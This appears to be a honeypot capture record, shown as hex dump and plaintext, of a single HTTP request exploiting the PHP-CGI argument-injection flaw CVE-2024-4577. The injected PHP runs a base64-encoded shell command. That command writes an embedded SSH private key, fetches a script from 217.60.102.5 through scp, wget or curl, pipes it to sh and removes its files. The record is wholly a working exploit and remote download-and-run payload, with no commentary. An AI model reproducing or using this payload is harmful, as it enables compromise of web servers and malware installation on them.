#1115

#1115 2026-10-16 20:17:41 test.hello 1189B

202.155.18.56:51944
/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input
解密后完整明文

原始 hex

000000  3c3f706870207368656c6c5f65786563                  <?php shell_exec
000010  286261736536345f6465636f64652822                  (base64_decode("
000020  593251674c335274634342386643426a                  Y2QgL3RtcCB8fCBj
000030  5a434176646d46794c33527463434238                  ZCAvdmFyL3RtcCB8
000040  6643426a5a4341765a4756324c334e6f                  fCBjZCAvZGV2L3No
000050  625473675a574e6f6279416e4c533074                  bTsgZWNobyAnLS0t
000060  4c5331435255644a546942505545564f                  LS1CRUdJTiBPUEVO
000070  55314e494946425353565a4256455567                  U1NIIFBSSVZBVEUg
000080  5330565a4c5330744c53304b596a4e43                  S0VZLS0tLS0KYjNC
000090  62474a75546e7068517a4679576c6872                  bGJuTnphQzFyWlhr
0000a0  644752715255464251554642516b6331                  dGRqRUFBQUFBQkc1
0000b0  646d4a745655464251554646596d3035                  dmJtVUFBQUFFYm05
0000c0  64567052515546425155464251554642                  dVpRQUFBQUFBQUFB
0000d0  516b46425155464e6430464251554630                  QkFBQUFNd0FBQUF0
0000e0  656d4d795a3352615677705265553555                  emMyZ3RaVwpReU5U
0000f0  565868505555464251554e45646d5646                  VXhPUUFBQUNEdmVF
000100  6443744b64456c57576b6443566b6c69                  dCtKdElWWkdCVkli
000110  566d7449646d5272646c46785a453170                  VmtIdmRrdlFxZE1p
000120  59575a314e53394a545539325a577849                  YWZ1NS9JTU92ZWxI
000130  4c336c345a3046425155704264446847                  L3l4Z0FBQUpBdDhG
000140  52464a4d5a6b4a52436a425251554642                  RFJMZkJRCjBRQUFB
000150  51585236597a4a6e6446705855586c4f                  QXR6YzJndFpXUXlO
000160  56465634543146425155464452485a6c                  VFV4T1FBQUFDRHZl
000170  52585172536e524a566c7048516c5a4a                  RXQrSnRJVlpHQlZJ
000180  596c5a7253485a6b61335a526357524e                  YlZrSHZka3ZRcWRN
000190  6157466d6454557653553150646d5673                  aWFmdTUvSU1PdmVs
0001a0  534339356547634b5155464252554679                  SC95eGcKQUFBRUFy
0001b0  4d5864734b7a4e4b5347747151544e61                  MXdsKzNKSGtqQTNa
0001c0  64464230616d5134596b463054465a47                  dFB0amQ4YkF0TFZG
0001d0  627a457a5a566f784d6b46334d6c4675                  bzEzZVoxMkF3MlFu
0001e0  526c68444c326c6c4f5452544d7a5274                  RlhDL2llOTRTMzRt
0001f0  4d47685761316c47565768305631466c                  MGhWa1lGVWh0V1Fl
000200  4f544a544f51704463444235536e4172                  OTJTOQpDcDB5SnAr
000210  4e3234345a3363324f545a565a69394d                  N244Z3c2OTZVZi9M
000220  523046425155464452314a7a59327443                  R0FBQUFDR1JzY2tC
000230  656c7075556e644255556c45516b4656                  elpuUndBUUlEQkFV
000240  50516f744c5330744c55564f52434250                  PQotLS0tLUVORCBP
000250  5545564f55314e494946425353565a42                  UEVOU1NIIFBSSVZB
000260  564555675330565a4c5330744c53306e                  VEUgS0VZLS0tLS0n
000270  49443467613256354c6e4277617a7367                  ID4ga2V5LnBwazsg
000280  5a574e6f6279416e5533527961574e30                  ZWNobyAnU3RyaWN0
000290  5347397a6445746c65554e6f5a574e72                  SG9zdEtleUNoZWNr
0002a0  6157356e49473576436c567a5a584a4c                  aW5nIG5vClVzZXJL
0002b0  626d3933626b68766333527a526d6c73                  bm93bkhvc3RzRmls
0002c0  5a5341765a4756324c3235316247776e                  ZSAvZGV2L251bGwn
0002d0  4944346763334e6f59325a6e4f79426a                  ID4gc3NoY2ZnOyBj
0002e0  614731765a4341304d44416761325635                  aG1vZCA0MDAga2V5
0002f0  4c6e4277617a736763324e774943317a                  LnBwazsgc2NwIC1z
000300  4943314749484e7a61474e6d5a794174                  IC1GIHNzaGNmZyAt
000310  615342725a586b756348427249475273                  aSBrZXkucHBrIGRs
000320  636b41794d5463754e6a41754d544179                  ckAyMTcuNjAuMTAy
000330  4c6a5536633267676233563058334e6f                  LjU6c2ggb3V0X3No
000340  4f7942705a6942624943512f4943316c                  OyBpZiBbICQ/IC1l
000350  63534177494630374948526f5a573467                  cSAwIF07IHRoZW4g
000360  59326874623251674b33676762335630                  Y2htb2QgK3ggb3V0
000370  58334e6f4f79427a6143427664585266                  X3NoOyBzaCBvdXRf
000380  6332676759335a6c587a49774d6a5266                  c2ggY3ZlXzIwMjRf
000390  4e4455334e79412b4c32526c64693975                  NDU3NyA+L2Rldi9u
0003a0  645778734944492b4a6a453749475673                  dWxsIDI+JjE7IGVs
0003b0  633255674b48646e5a5851674c533175                  c2UgKHdnZXQgLS1u
0003c0  6279316a6147566a6179316a5a584a30                  by1jaGVjay1jZXJ0
0003d0  61575a70593246305a53417463553874                  aWZpY2F0ZSAtcU8t
0003e0  494768306448427a4f6938764d6a4533                  IGh0dHBzOi8vMjE3
0003f0  4c6a59774c6a45774d6934314c334e6f                  LjYwLjEwMi41L3No
000400  4948783849474e31636d77674c584e72                  IHx8IGN1cmwgLXNr
000410  494768306448427a4f6938764d6a4533                  IGh0dHBzOi8vMjE3
000420  4c6a59774c6a45774d6934314c334e6f                  LjYwLjEwMi41L3No
000430  4b53423849484e6f4943317a49474e32                  KSB8IHNoIC1zIGN2
000440  5a5638794d444930587a51314e7a6337                  ZV8yMDI0XzQ1Nzc7
000450  49475a704f79427962534174636d5967                  IGZpOyBybSAtcmYg
000460  63334e6f59325a6e4947746c65533577                  c3NoY2ZnIGtleS5w
000470  634773676233563058334e6f2229293b                  cGsgb3V0X3No"));
000480  206563686f286d6435282248656c6c6f                   echo(md5("Hello
000490  204356452d323032342d343537372229                   CVE-2024-4577")
0004a0  293b203f3e                                        ); ?>